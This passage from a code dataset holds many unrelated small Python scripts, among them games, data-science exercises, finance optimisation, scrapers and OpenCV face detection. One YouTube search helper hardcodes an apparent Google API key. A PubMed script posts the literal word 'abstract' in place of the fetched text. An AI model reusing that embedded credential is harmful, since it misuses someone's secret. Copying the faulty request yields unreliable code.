without last char ('\\n'))\r\n self.character.inventory = self.inventory_text.get(\"1.0\", \"end-1c\")\r\n \r\n def refresh_logbook(self):\r\n \"\"\"Updates the logbook label with the up-to-date logbook\"\"\"\r\n #A bit more fiddling than just changing is_rev is required to get messages\r\n #in order when displaying them un-reversed\r\n self.log_values['text'] = self.char_logs.__repr__(is_rev=True)\r\n \r\n def fight_battle(self):\r\n \"\"\"Ensures consistency between the character attributes and displayed information,\r\n then runs the main combat gui, using a function outside of the class\"\"\"\r\n \r\n #Ensure all Character attributes are correct\r\n self.update_from_entrys()\r\n \r\n #Destroy the window\r\n self.character_window.destroy()\r\n \r\n #Do the fight and get the window back; I beleive self.character is still\r\n #just a reference to the original character object passed to __init__()\r\n external_fight(self.character, None)\r\n \r\n #I want as little of the old gui class object as possible to be saved in memory\r\n #But I'm not sure how to do that :/ \r\n #This method of course ends up being a recursive process\r\n #print(\"END OF CLASS\")\r\n\r\ndef external_fight(player1, player2):\r\n \"\"\"It is 'external' cos it is outside of the CharacterSheetGui class object that calls it.\r\n Runs the combat gui with the two characters specified. player2 is a standard enemy if None.\r\n Afterwards it brings up a new CharacterSheetGui with the updated player1.\r\n \r\n Currently the updated player2 is ignored, but some framework exists for a potential\r\n combat between two 'main' characters\r\n \"\"\"\r\n #Do the fight\r\n ff_combatscreen.run_combat_gui(player1, player2)\r\n \r\n #Get the window back again (Well actually make a new one with the saved character)\r\n #This could potentially overextend the memory, depending on how much of the old classes are kept\r\n new_characterwindow = Tk()\r\n new_character_gui = CharacterSheetGui(new_characterwindow, player1)\r\n new_character_gui.char_logs.add_log(ff_logbook.Log('space'))\r\n new_character_gui.char_logs.add_log(ff_logbook.Log('refresh'))\r\n new_character_gui.char_logs.add_log(ff_logbook.Log('battle', player1.name))\r\n new_character_gui.refresh_logbook()\r\n new_characterwindow.mainloop()\r\n\r\ndef main():\r\n \"\"\"Starts the entire program\"\"\"\r\n if __name__ == \"__main__\":\r\n ff_extras.run_code()\r\n\r\nmain()","sub_path":"ff_charactersheet.py","file_name":"ff_charactersheet.py","file_ext":"py","file_size_in_byte":20252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"126171555","text":"class User():\n\n def __init__(self, first_name, last_name, phone, email, twitter):\n self.first_name = first_name\n self.last_name = last_name\n self.phone = phone\n self.email = email\n self.twitter = twitter\n\n def describe_user(self):\n print(\"The user first name is: {} \\nThe user last name is: {} \\nThe user phone is: {} \\nThe user email is: {} \\nThe user Twitter is: {}\".format(self.first_name,self.last_name,self.phone,self.email,self.twitter))\n\n def greet_user(self):\n print(\"Hey\", self.first_name, \"have a nice day!\")\n\nuser_1 = User(\"Jonathan\",\"Castillo\", 5559864, \"jonatillo@gmail.com\", \"@Jonatillo\")\nuser_2 = User(\"Terry\",\"Flores\", 5552148, \"Teero1@gmail.com\", \"@Ter_ser\")\nuser_3 = User(\"Mary\",\"Adams\", 5559794, \"maryni@gmail.com\", \"@mar_y\")\nuser_4 = User(\"Hugo\",\"Jacobo\", 5556444, \"HugeJA@gmail.com\", \"@Hugo_tarugo\")\n\nlist = [user_1, user_2, user_3, user_4]\n\nfor i in list:\n i.describe_user()\n i.greet_user()\n print(\"\")\n\n\"\"\"\nfor i in range(len(list)):\n list[i].describe_user()\n list[i].greet_user()\n print(\"\")\n\"\"\"\n\"\"\"\nuser_1.describe_user()\nuser_1.greet_user()\nuser_2.describe_user()\nuser_2.greet_user()\nuser_3.describe_user()\nuser_3.greet_user()\nuser_4.describe_user()\nuser_4.greet_user()\n\"\"\"\n","sub_path":"Ago-Dic-2018/Ruben Campos/Practica 2/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"479406103","text":"class Solution(object):\n def isPalindrome(self, s):\n if len(s)==0:\n return True\n \n left=0\n right=len(s)-1\n \n while left item[0]:\n item = d\n item = list(map(lambda x: round(x*100.0, 1), item))\n l.append(item)\n datas[f] = item\n\nprint(np.mean(np.array(l).reshape((-1, 2)), axis=0))\n\nfor idx, key in enumerate(table_col):\n k = '+'.join(key)\n if idx % 2 == 0:\n print('\\\\midrule')\n s = key[0] + ' & ' + key[1] + ' & & & ' + str(datas[k][0]) + ' & ' + str(datas[k][1]) + '\\\\\\\\'\n print(s)\n\n","sub_path":"PROMISE/MFGNN/CPDP/conclusion.py","file_name":"conclusion.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"595241323","text":"from apiclient.discovery import build\n\nDEVELOPER_KEY = \"AIzaSyArhRiaMcsLQIyhfH2_c32OE3N9YjtDelA\"\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\nYOUTUBE_API_VERSION = \"v3\"\n\n\ndef youtube_search(options,amount=5):\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n developerKey=\"AIzaSyArhRiaMcsLQIyhfH2_c32OE3N9YjtDelA\")\n\n search_response = youtube.search().list(\n q=options + \"review\",\n part=\"id,snippet\",\n maxResults=amount\n ).execute()\n\n videos = []\n\n for search_result in search_response.get(\"items\", []):\n videos.append(\"www.youtube.com/embed/\" + search_result[\"id\"][\"videoId\"])\n return videos\n\n\nif __name__ == '__main__':\n print(youtube_search(input(\"enter name of product to EXPLORE! for example iphone 6, macbook air, etc... : \"),1))\n","sub_path":"Django_App/parse_api/api_parse/you_tube.py","file_name":"you_tube.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"11445137","text":"#!/usr/bin/env python\nimport sys\nfrom nnl.tech import nnlutils\n\nnnlutils.spam()\nnnlutils.ham()\n\n# nnlutils._toast()\n\nprint(sys.prefix)\n\n# CURR_DIR + $PYTHONPATH + BUILTIN\n\nfor path in sys.path:\n print(path)\n","sub_path":"use_nnlutils01.py","file_name":"use_nnlutils01.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"508847871","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nThis is a solution script for HiTS python programming assessment. \nCoded in python2.7 environment and tested with python3.6.\n\nCreated on Thu Mar 29 11:06:38 2018\n\n@author: Shuai Wei\n\"\"\"\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport urllib3\nimport json\n\n# A sub-function that make a request to the url and fetching the page. \n# Named make_soup: by using the BeautifulSoup lib.\ndef make_soup(url):\n http = urllib3.PoolManager()\n r = http.request('GET',url)\n soup = bs(r.data, \"lxml\")\n return soup\n\ndef solution():\n \n # Step 1: Taking a PubMed article ID (PMID) as a command line argument.\n PMID = input(\"PMID: \")\n \n # Step 2: Given a PMID above, calling the PubMed web service (make_soup) to \n # retrieve the entry for the given PMID as XML.\n url = 'https://www.ncbi.nlm.nih.gov/pubmed/'+str(PMID)\n soup = make_soup(url)\n \n # Step 3: With the PubMed XML entry, extracting the abstract of the article\n # as a text string.\n abstract = soup.find(\"div\",{\"class\":\"abstr\"}).text\n\n # Step 4: Having successfully extracted the abstract text, sending it to \n # the REACH natural language processing web service. \n # Specified the “fries” output format with the request.\n reach_url = 'http://agathon.sista.arizona.edu:8080/odinweb/api/text'\n # The string 'abstract' should be quoted\n reach_out = requests.post(reach_url,data={'text':'abstract','output':'fries'}).json()\n\n # Step 5: Saving the JSON result from the REACH web service into a file \n # called .json.\n file_name = str(PMID)+'.json'\n with open(file_name,'w') as fo:\n json.dump(reach_out,fo)\n\n# Code testing by calling the function\nsolution()\n\n#import math\n# Loading the data from file\ndata = json.load(open('../data/28546431.json'))\n# Simple counting of events\nlen(data['events'])\n","sub_path":"src/solution_HiTS_Shuai_Wei.py","file_name":"solution_HiTS_Shuai_Wei.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"231947697","text":"class Solution:\n def countLargestGroup(self, n: int) -> int:\n d = {}\n def dsum(num):\n s = 0\n while num:\n s += num % 10\n num = num // 10\n return s\n \n for i in range(1, n+1):\n ds = dsum(i)\n if ds not in d:\n d[ds] = 1\n else:\n d[ds] += 1\n return len([v for v in d.values() if v == max(d.values())])\n\n\nn = 13\nres = Solution().countLargestGroup(n)\nprint(res)","sub_path":"array/1399_count_largest_group/1399_count_largest_group.py","file_name":"1399_count_largest_group.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"614725663","text":"import cv2 as cv\nimport sys\nfrom PIL import Image\n\nfrom sklearn.utils import shuffle\nimport requests\nimport numpy as np\nimport base64\nimport glob\nimport json\n\ndef CatchUsbVideo(window_name):\n cv.namedWindow(window_name)\n\n #告诉OpenCV使用人脸识别分类器\n classfier = cv.CascadeClassifier(\"/usr/local/lib/python3.7/site-packages/cv2/data/haarcascade_frontalface_alt2.xml\")\n \n #识别出人脸后要画的边框的颜色,RGB格式\n color = (255, 255, 0)\n \n paths = '/Volumes/Seagate Backup Plus Drive/义乌拍摄/1/**.jpg'\n paths = glob.glob(paths)\n shuffle(paths)\n \n for path in paths:\n img = cv.imread(path)\n \n #将当前帧转换成灰度图像\n grey = cv.cvtColor(img, cv.COLOR_BGR2GRAY) \n \n #人脸检测,1.2和2分别为图片缩放比例和需要检测的有效点数\n faceRects = classfier.detectMultiScale(grey, scaleFactor = 1.2, minNeighbors = 3, minSize = (32, 32))\n if len(faceRects) > 0: #大于0则检测到人脸 \n for faceRect in faceRects: #单独框出每一张人脸\n x, y, w, h = faceRect \n cv.rectangle(img, (x - 10, y - 10), (x + w + 10, y + h + 10), color, 2)\n \n #显示图像\n shape = img.shape\n img = cv.resize(img,((int)(shape[1]/2),(int)(shape[0]/2)),interpolation=cv.INTER_NEAREST)\n cv.imshow(window_name, img) \n c = cv.waitKey()\n if c & 0xFF == ord('q'):\n break \n \n #销毁所有窗口\n cv.destroyAllWindows() \n \ndef main():\n CatchUsbVideo(\"识别人脸区域\")\nmain()\n","sub_path":"dataSet/opencv人脸检测.py","file_name":"opencv人脸检测.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"301058374","text":"import sys\nimport optparse\nimport pyCollimate_v02\n\ndef process_command_line(argv):\n \"\"\"\n Return a 2-tuple: (settings object, args list).\n `argv` is a list of arguments, or `None` for ``sys.argv[1:]``.\n \"\"\"\n\n help_text = 'Create_coll_DB creates a file containing the LHC injection ' \\\n 'protection devices, i.e. TDI, TCLIA/B. The default output file is ' \\\n 'coll_DB_pyCollimate_lhc.txt, and assumed as input \"sequence_totrack.tfs\" ' \\\n '(this has to be a MADX-twiss like file). The apertures for such elements ' \\\n 'are assumed to be 6.8 nominal sigma (considering normalised emittance of ' \\\n '3.5 mm.mmrad). \\n' \\\n 'The option errors (-e or --errors) requires two entries: jaw entrance ' \\\n 'and jaw exit. These have to be given as boolean values. Also the std of those errors ' \\\n 'has to be added.'\n\n if argv is None:\n\n argv = sys.argv[1:]\n\n # initialize the parser object:\n parser = optparse.OptionParser(\n formatter=optparse.TitledHelpFormatter(width=78),\n add_help_option=None)\n\n # define options here:\n parser.add_option( # customized description; put --help last\n '-h', '--help', action='help',\n help=help_text)\n\n parser.set_defaults(collDB_6t_file='collDB_V6.503_lowb_st.b1.data', twiss_file='sequence_totrack.tfs',\n col_set='start_ramp_B1_mm_kept_meas_beam_size_inj_FT_2015--2015_5_18_21_59_46.680732.csv',\n apertures=(6.8, 6.8, 6.8), errors=('False 0.0', 'False 0.0'))\n\n parser.add_option('-d', '--dbsixtrack', dest='db6t')\n\n parser.add_option('-i', '--input', dest='twiss_file')\n\n parser.add_option('-c', '--col_set', dest='col_set')\n\n parser.add_option('-a', '--aper', type=\"float\", nargs=3, dest=\"apertures\", help='Aperture of TDI, TCLIA, TCLIB')\n\n parser.add_option('-e', '--errors', nargs=2, dest=\"errors\", help='ON of OFF error assignment and its standard deviation')\n\n options, args = parser.parse_args(argv)\n\n return options, args\n\ndef main(argv):\n\n options, args = process_command_line(argv)\n\n twiss = options.twiss_file\n db6t = options.db6t\n coll_aper = options.apertures\n col_set = options.col_set\n\n names_new, aper_n_new, mat_new, length_new, angle_new = pyCollimate_v02.coll_markers_and_DB_inj(twiss, db6t,\n col_set, inj_aper=coll_aper, errors=options.errors)\n\n pyCollimate_v02.create_uselist(twiss, 'use_command_list.txt', names_new)\n\nif __name__ == \"__main__\":\n\n main(sys.argv)\n","sub_path":"LHC_injection/create_collDB_v02.py","file_name":"create_collDB_v02.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"203030253","text":"import basc_py4chan\r\nimport random\r\nimport os\r\nimport sys\r\nimport urllib.request\r\nimport time\r\nimport os.path\r\npath = os.getcwd()\r\n\r\n\r\ndef pullfunc():\r\n print(\"▄█ █▀▄▀█ ██ ▄▀ ▄███▄ ▄▄▄▄▄ ▄▄▄▄▀ ▄███▄ ██ █ ▄███▄ █▄▄▄▄ \")\r\n print(\"██ █ █ █ █ █ ▄▀ █▀ ▀ █ ▀▄ ▀▀▀ █ █▀ ▀ █ █ █ █▀ ▀ █ ▄▀ \")\r\n print(\"██ █ ▄ █ █▄▄█ █ ▀▄ ██▄▄ ▄ ▀▀▀▀▄ █ ██▄▄ █▄▄█ █ ██▄▄ █▀▀▌ \")\r\n print(\"▐█ █ █ █ █ █ █ █▄ ▄▀ ▀▄▄▄▄▀ █ █▄ ▄▀ █ █ ███▄ █▄ ▄▀ █ █ \")\r\n print(\" ▐ █ █ ███ ▀███▀ ▀ ▀███▀ █ ▀ ▀███▀ █ \")\r\n print(\" ▀ █ █ ▀ \")\r\n print(\" ▀ ▀ By Sen :) \")\r\n print(\"To start please type a board, thread ID, and a folder to save it to\")\r\n boardInput = input(\"Board: \")\r\n threadInput = input(\"Thread ID: \")\r\n makefolder = input(\"Folder Name: \")\r\n board = basc_py4chan.Board(boardInput, https=False, session=None)\r\n numberofposts = 0\r\n thread = board.get_thread(threadInput)\r\n os.mkdir(makefolder)\r\n madefolder = os.path.join(path, makefolder)\r\n\r\n for post in thread.all_posts:\r\n if post.has_file==True:\r\n numberofposts = numberofposts + 1\r\n answer = None\r\n while answer not in (\"yes\", \"no\"):\r\n answer = input(\"pull? y/n: \")\r\n if answer == \"y\":\r\n\r\n for post in thread.posts:\r\n if post.has_file==True:\r\n anim=\"\\|/-\\|/-\"\r\n for l in anim:\r\n sys.stdout.write(l)\r\n sys.stdout.flush()\r\n sys.stdout.write('\\b')\r\n time.sleep(0.2)\r\n try:\r\n saveto = os.path.join(madefolder, post.filename)\r\n urllib.request.urlretrieve(post.file_url, saveto)\r\n \r\n except Exception:\r\n pass \r\n print(\"Done!\")\r\n time.sleep(2)\r\n os.system('cls' if os.name == 'nt' else 'clear')\r\n pullfunc()\r\n elif answer == \"n\":\r\n print(\"aw ok bye\")\r\n time.sleep(3)\r\n sys.exit(0)\r\n else:\r\n print(\"Please enter y/n.\")\r\npullfunc()\r\n\r\n","sub_path":"stealer.py","file_name":"stealer.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"534141005","text":"#!/usr/bin/python3\n\n# Imports \nfrom pandas import isna, unique, isnull, read_csv, value_counts,get_dummies,concat\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression as reglog\nfrom sklearn.metrics import confusion_matrix,accuracy_score,classification_report\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# Dataset \ndata_list = \"age\",\"workclass\",\"fnlwgt\",\"education\",\"education-num\",\"marital-status\",\"occupation\",\"relationship\",\"race\",\"sex\",\"capital-gain\",\"capital-loss\",\"hour-per-week\",\"native-country\",\"Salary\"\nadult,adult_test = read_csv('Data/adult.data', header=None, sep = ' *, *', names = data_list,engine = 'python' ), read_csv('Data/adult.test', sep = ' *, *', names = data_list, engine = 'python')\n#region Analyse du set\nadult.isna().sum() \nadult_test.isna().sum()\nadult.isnull().sum()\nadult_test.isnull().sum()\n# Visual\n\nplt.figure(figsize = (12,8))\nsns.heatmap(adult.isnull(),yticklabels=False,cbar=True,cmap='plasma')\n\n#\nhow_many_unknow = adult.loc[np.where(adult == '?')[0]] # 2419 total raws\n\nadult.loc[np.where(adult[\"native-country\"] == '?')[0]] # native country # 583 row # recommendation drop\n\nadult.loc[np.where(adult[\"occupation\"] == '?')[0]] # 1843 rows -- occupation 7 sup\nadult.loc[np.where(adult[\"workclass\"] == '?')[0]] # 1836 rows\nadult.loc[(adult[\"workclass\"] == '?')&(adult[\"occupation\"] == '?')] ## 1836 rows # alternative but to heavy : checking_job = adult.groupby(['workclass','occupation']) ## too much line have to use head()\n### to justify 4262 raws with 1836 combined rows. total loss 2426 raws\n\nstatus_hours = adult['hour-per-week'].describe()\n\n# echantillon test : 963 rows - workclass, 966 Occupation # native coutry 274\n\n#endregion\n# Update table\nadult_test = adult_test.drop([0], axis = 0)\nadult.replace('?', np.nan, inplace = True) ; adult_test.replace('?',np.nan, inplace = True)\nadult_test[\"Salary\"] = adult_test[\"Salary\"].str.replace(\".\",\"\") # Alternative : adult_test['Salary'].replace('<=50K.',\"<=50K\", inplace = True) ; adult_test['Salary'].replace('>50K.','>50K', inplace = True) \n\n# modification table : \n# Reunification de la variable capital\nadult['Capital'] = (adult['capital-gain'] - adult['capital-loss'])\nadult_test['Capital'] = (adult_test['capital-gain'] - adult_test['capital-loss'])\n\n\nadult['gender_dum'] = get_dummies(adult[\"sex\"],drop_first=True)\nadult_test['gender_dum'] = get_dummies(adult_test[\"sex\"],drop_first=True)\n# Discretisation du secteur d'activités :\n\nadult[\"Sector\"] = [\"Public\" if x == \"State-gov\" or x == \"Federal-gov\" or x == \"Local-gov\" else \"Private\" for x in adult[\"workclass\"]]\nadult_test[\"Sector\"] = [\"Public\" if x == \"State-gov\" or x == \"Federal-gov\" or x == \"Local-gov\" else \"Private\" for x in adult_test[\"workclass\"]]\n\nadult[\"Num_sector\"] = [1 if x == \"Public\" else 0 for x in adult['Sector']]\nadult_test[\"Num_sector\"] = [1 if x == \"Public\" else 0 for x in adult_test['Sector']]\n# Train & Test\n\ny_train = adult['Salary']\ny_test = adult_test['Salary']\n\nX_train = adult.drop(['native-country','capital-loss','capital-gain','education','Salary',\"Sector\"], axis = 'columns')\nX_train = adult.drop(['native-country','capital-loss','capital-gain','workclass','education','marital-status','occupation','relationship','race','sex','Salary',\"Sector\"], axis = 'columns') # light_set\n\nX_test = adult_test.drop(['native-country','capital-loss','capital-gain','education','Salary',\"Sector\"], axis = 'columns')\nX_test = adult_test.drop(['native-country','capital-loss','capital-gain','workclass','education','marital-status','occupation','relationship','race','sex','Salary',\"Sector\"], axis = 'columns') # light_set\n\n# Transformer les valeurs qualitatives en quantitatives\n\n# Score Methode 1 \nscore_100= reglog(solver='lbfgs',multi_class='auto',penalty='none').fit(X_train,y_train).predict_proba(X_test)\nscore = reglog(solver='lbfgs',multi_class='auto',penalty='none').fit(X_train,y_train).predict(X_test)\n\nprint(classification_report(y_test, score))\nprint(accuracy_score(y_test, score))\nprint(confusion_matrix(y_test, score))\n\n\n# Méthode 2\n\nparam_grid = {'n_neighbors': list(range(1,10))}\n\nknn = GridSearchCV(KNeighborsClassifier(), param_grid, cv=5, scoring='accuracy')\nknn.fit(X_train, y_train)\nfor mean, std, params in zip(knn.cv_results_['mean_test_score'],knn.cv_results_['std_test_score'],knn.cv_results_['params']):\n print(\"'accuracy' = {:.3f} (+/-{:.03f}) for {}\".format(mean,std*2,params))\n\n","sub_path":"P5 .py","file_name":"P5 .py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"477439459","text":"import numpy as np\nimport random\nimport h5py as h5\nimport tensorflow as tf\nimport string\n\n#np.set_printoptions(threshold=np.nan)\n\n######## DATA PREPROCESSING ########\ndef process_data(directory):\n\n dset = []\n q = []\n s1z = []\n s2z = []\n\n for filename in os.listdir(directory):\n if filename.endswith(\".dat\"):\n\n #format and truncate the wave\n data = np.loadtxt(filename)\n data = np.reshape(data, (1, -1))\n data = np.squeeze(data)\n data = data[-7500:]\n \n #subtract mean, normalize amplitude\n mean = np.mean(data)\n data = data - mean\n peak = np.amax(np.abs(data))\n data = data/peak\n dset.append(data)\n\n #extract each BBH parameter from the file name\n q.append(float(filename[2:6]))\n s1z.append(float(filename[11:15]))\n s2z.append(float(filename[-8:-4]))\n\n #convert each list to a numpy array\n dset = np.array(dset)\n q = np.array(q)\n s1z = np.array(s1z)\n s2z = np.array(s2z)\n\n #reshape all arrays\n q = np.reshape(q, (1, -1))\n s1z = np.reshape(s1z, (1, -1))\n s2z = np.reshape(s2z, (1, -1))\n\n #combine all three parameter vectors (each column is q, s1z, s2z)\n labels = np.concatenate((q, s1z, s2z), axis=0)\n labels = np.transpose(labels)\n\n return dset, labels\n\n######## HELPER FUNCTIONS ########\ndef weight(name, shape):\n return tf.get_variable(name, shape=shape, initializer = tf.contrib.layers.xavier_initializer())\n\ndef bias(name, shape):\n #return tf.Variable(tf.random_normal(shape), name=name)\n return tf.get_variable(name, shape=shape, initializer = tf.constant_initializer(.1))\n\ndef conv(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding = 'SAME')\n\ndef maxPool(x, n):\n return tf.nn.max_pool(x, ksize=[1, n, 1, 1], strides=[1, n, 1, 1], padding = 'SAME')\n","sub_path":"helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"643311585","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime as dt\nfrom bdateutil import isbday\nfrom sklearn.linear_model import LinearRegression\nfrom cvxopt import matrix, solvers\nimport io\nimport base64\n\ndef process_data(data):\n \"\"\"\n F: the data of Fama French 3 factors model, including (mkt-rf), SMB, HML.\n R: the daily return for each ETF.\n Ex_R: the excess return that is equal to Return on ETF minus ris free rate.\n \"\"\"\n F = data.iloc[:,:3]\n R = data.iloc[:,4:]\n Ex_R = pd.DataFrame(R.values - data.RF.values.reshape(-1,1),\n index=R.index, columns=R.columns)\n return F,R,Ex_R\n\ndef str_to_num(x):\n \"\"\"\n Convert a sting of number to number and an empty string would be set to 0\n \"\"\"\n if x == '':\n x = 0\n else:\n x = float(x)\n return x\n\n\ndef Max_Return(beta_T, R, Ex_R, F, Lambda):\n \"\"\"\n beta_T: the target risk exposure of the portfolio to the market.\n R: the historical return of the selected assets in the portfolio.\n Ex_R: the excess return of the selected assets in the portfolio.\n F: Fama-French Three Factors.\n Lambda: the risk tolerance.\n \"\"\"\n\n n = Ex_R.shape[1]\n wp = np.ones((n, 1)) / n\n\n # run regression to get the beta\n lm = LinearRegression()\n lm.fit(F, Ex_R)\n beta = lm.coef_[:, 0]\n error = Ex_R - lm.predict(F)\n rho = (np.prod((R - error).values + 1, axis=0) - 1).reshape(-1, 1)\n\n # calculate the Indentity matrix\n Q = np.eye(n)\n\n # preparation for the optimization\n P = matrix(2 * Lambda * Q, tc='d')\n q = matrix(-2 * Lambda * (Q.T).dot(wp) - rho, tc='d')\n A = matrix(np.vstack((beta, [1] * n)), tc='d')\n G = matrix(np.vstack((np.eye(n), np.eye(n) * (-1))), tc='d')\n h = matrix([2] * 2 * n, tc='d')\n b = matrix([beta_T, 1], tc='d')\n # do the optimization using QP solver\n opt = solvers.qp(P, q, G, h, A, b, options={'show_progress': False})\n w = opt['x']\n r = R.dot(np.array(w).reshape(-1, 1))\n\n return w, r\n\n\ndef Min_Var(R_T, R, Ex_R, F, Lambda):\n \"\"\"\n R_T: the target return of the portfolio\n R: the historical return of the selected assets in the portfolio\n Ex_R: the excess return of the selected assets in the portfolio\n F: Fama-French Three Factors\n Lambda: the risk tolerance\n \"\"\"\n\n n = Ex_R.shape[1]\n cov_f = np.cov(F, rowvar=False)\n wp = np.ones((n, 1)) / n\n\n # run regression to get the beta\n lm = LinearRegression()\n lm.fit(F, Ex_R)\n coeff3 = lm.coef_\n beta = coeff3[:, 0]\n error = Ex_R - lm.predict(F)\n rho = np.prod((R - error).values + 1, axis=0) - 1\n\n # calculate the Indentity matrix\n Q_ = np.eye(n)\n\n # calculate the covariance matrix\n Q = coeff3.dot(cov_f).dot(coeff3.T) + np.diag(error.var(axis=0))\n\n # preparation for the optimization\n P = matrix(2 * (Q + Lambda * Q_), tc='d')\n q = matrix(-2 * Lambda * (Q_.T).dot(wp), tc='d')\n G = matrix(np.vstack((np.diag([1] * n), np.diag([-1] * n))), tc='d')\n h = matrix([2] * 2 * n, tc='d')\n A = matrix(np.vstack((rho, [1] * n)), tc='d')\n b = matrix([R_T, 1], tc='d')\n # do the optimization using QP solver\n opt = solvers.qp(P, q, G, h, A, b, options={'show_progress': False})\n w = opt['x']\n r = R.dot(np.array(w).reshape(-1, 1))\n\n return w, r\n\ndef dealWith_business_day(Date):\n \"\"\"\n Deal with the date not in business.\n If the day is weekend, add 2 days to the date for getting a business day.\n \"\"\"\n date = dt.datetime.strptime(Date, '%Y-%m-%d')\n if not isbday(date):\n date += dt.timedelta(2)\n else:\n pass\n return date\n\n\ndef split_train_test(train_start, train_end, test_start, test_end, data):\n \"\"\"\n Split the data in train set and test set\n \"\"\"\n train_start = dealWith_business_day(train_start).strftime('%Y-%m-%d')\n train_end = dealWith_business_day(train_end).strftime('%Y-%m-%d')\n test_start = dealWith_business_day(test_start).strftime('%Y-%m-%d')\n test_end = dealWith_business_day(test_end).strftime('%Y-%m-%d')\n\n train = data.loc[train_start:train_end]\n test = data.loc[test_start:test_end]\n return train, test\n\n\ndef Model(data, strategy, train_start, train_end, test_start, test_end, Lambda=0.01, R_T=1, beta_T=1,):\n \"\"\"\n Choose strategy.\n Substitute the calculated weights for that in train set and test set\n Get the return in both train set and test set\n \"\"\"\n F, R, Ex_R = process_data(data)\n\n F_train, F_test = split_train_test(train_start, train_end, test_start, test_end, F)\n R_train, R_test = split_train_test(train_start, train_end, test_start, test_end, R)\n ER_train, ER_test = split_train_test(train_start, train_end, test_start, test_end, Ex_R)\n\n if strategy == 'Maximum Return':\n w, r_train = Max_Return(beta_T, R_train, ER_train, F_train, Lambda)\n stategy = 'MaxRet (Target_beta={})'.format(beta_T)\n r_test = R_test.dot(np.array(w)).rename(columns={0: stategy})\n r_train = r_train.rename(columns={0: stategy})\n\n elif strategy == 'Minimum Variance':\n w, r_train = Min_Var(R_T, R_train, ER_train, F_train, Lambda)\n stategy = 'MinVar (Target_return={})'.format(R_T)\n r_test = R_test.dot(np.array(w)).rename(columns={0: stategy})\n r_train = r_train.rename(columns={0: stategy})\n else:\n w, r_train = Max_Return(beta_T, R_train, ER_train, F_train, Lambda)\n stategy = 'MaxRet (Target_beta={})'.format(beta_T)\n r_test = R_test.dot(np.array(w)).rename(columns={0: stategy})\n r_train = r_train.rename(columns={0: stategy})\n r_train.index = R_train.index\n r_test.index = R_test.index\n\n return w, r_train, r_test\n\n\ndef show_weights(weights_list, columns_name, index):\n \"\"\"\n Show the weights in dataframe\n \"\"\"\n weights = [np.array(w).flatten() for w in weights_list]\n df = pd.DataFrame(data=weights, columns=columns_name, index=index)\n\n return df.round(4)\n\n# plot the cumulated PnLs\ndef plot_PnLs(Ret_list, benchmark):\n \"\"\"\n Assume we have $100 at start.\n Calculate the cumulative product for return plus 1 to get the moving track of price.\n Plot the PnL for the stategies, benchmark, and horizontal line at $100.\n \"\"\"\n\n\n name = benchmark.name\n if len(Ret_list) == 2:\n data = pd.concat(Ret_list, axis=1)\n else:\n data = Ret_list\n data[name] = benchmark\n PnL = 100*np.cumprod(data+1)\n PnL.iloc[0] = 100 * np.ones(len(data.columns))\n ax = PnL.iloc[:,:-1].plot(figsize=(15,8), linewidth=3)\n PnL[name].plot(x=PnL[name].index,y=PnL[name].values,c='r', sharex=ax, linewidth=3)\n ax.plot([0,len(data)],[100,100],'k--',label='100')\n tick = [int(len(data)/6)*i for i in range(6)]+[len(data)-1]\n ax.set_xticks(tick)\n ax.set_xticklabels([data.index.values[i] for i in tick])\n ax.set_xlabel(r'$Date$', fontsize=16, labelpad=20)\n ax.set_ylabel(r'$Price$', fontsize=16, labelpad=20)\n ax.set_title(r'$The\\ cumulative\\ PnL$', fontsize=18, pad=20)\n ax.legend()\n ax.grid()\n\n figfile = io.BytesIO()\n plt.savefig(figfile, format='png')\n figfile.seek(0) # rewind to beginning of file\n figdata_png = base64.b64encode(figfile.getvalue()).decode()\n return figdata_png\n\n","sub_path":"URL_functions.py","file_name":"URL_functions.py","file_ext":"py","file_size_in_byte":7237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"266528653","text":"import folium\r\nimport json\r\n\r\nm = folium.Map(location=[40.1776, 44.5126], zoom_start=15)\r\n\r\nm.add_child(folium.LatLngPopup())\r\n\r\n\r\nwith open(\"Stations.json\") as data_file:\r\n markers = json.load(data_file)\r\n\r\nfor i in markers.items():\r\n folium.Marker(location=i[1], popup=i[0]).add_to(m)\r\n 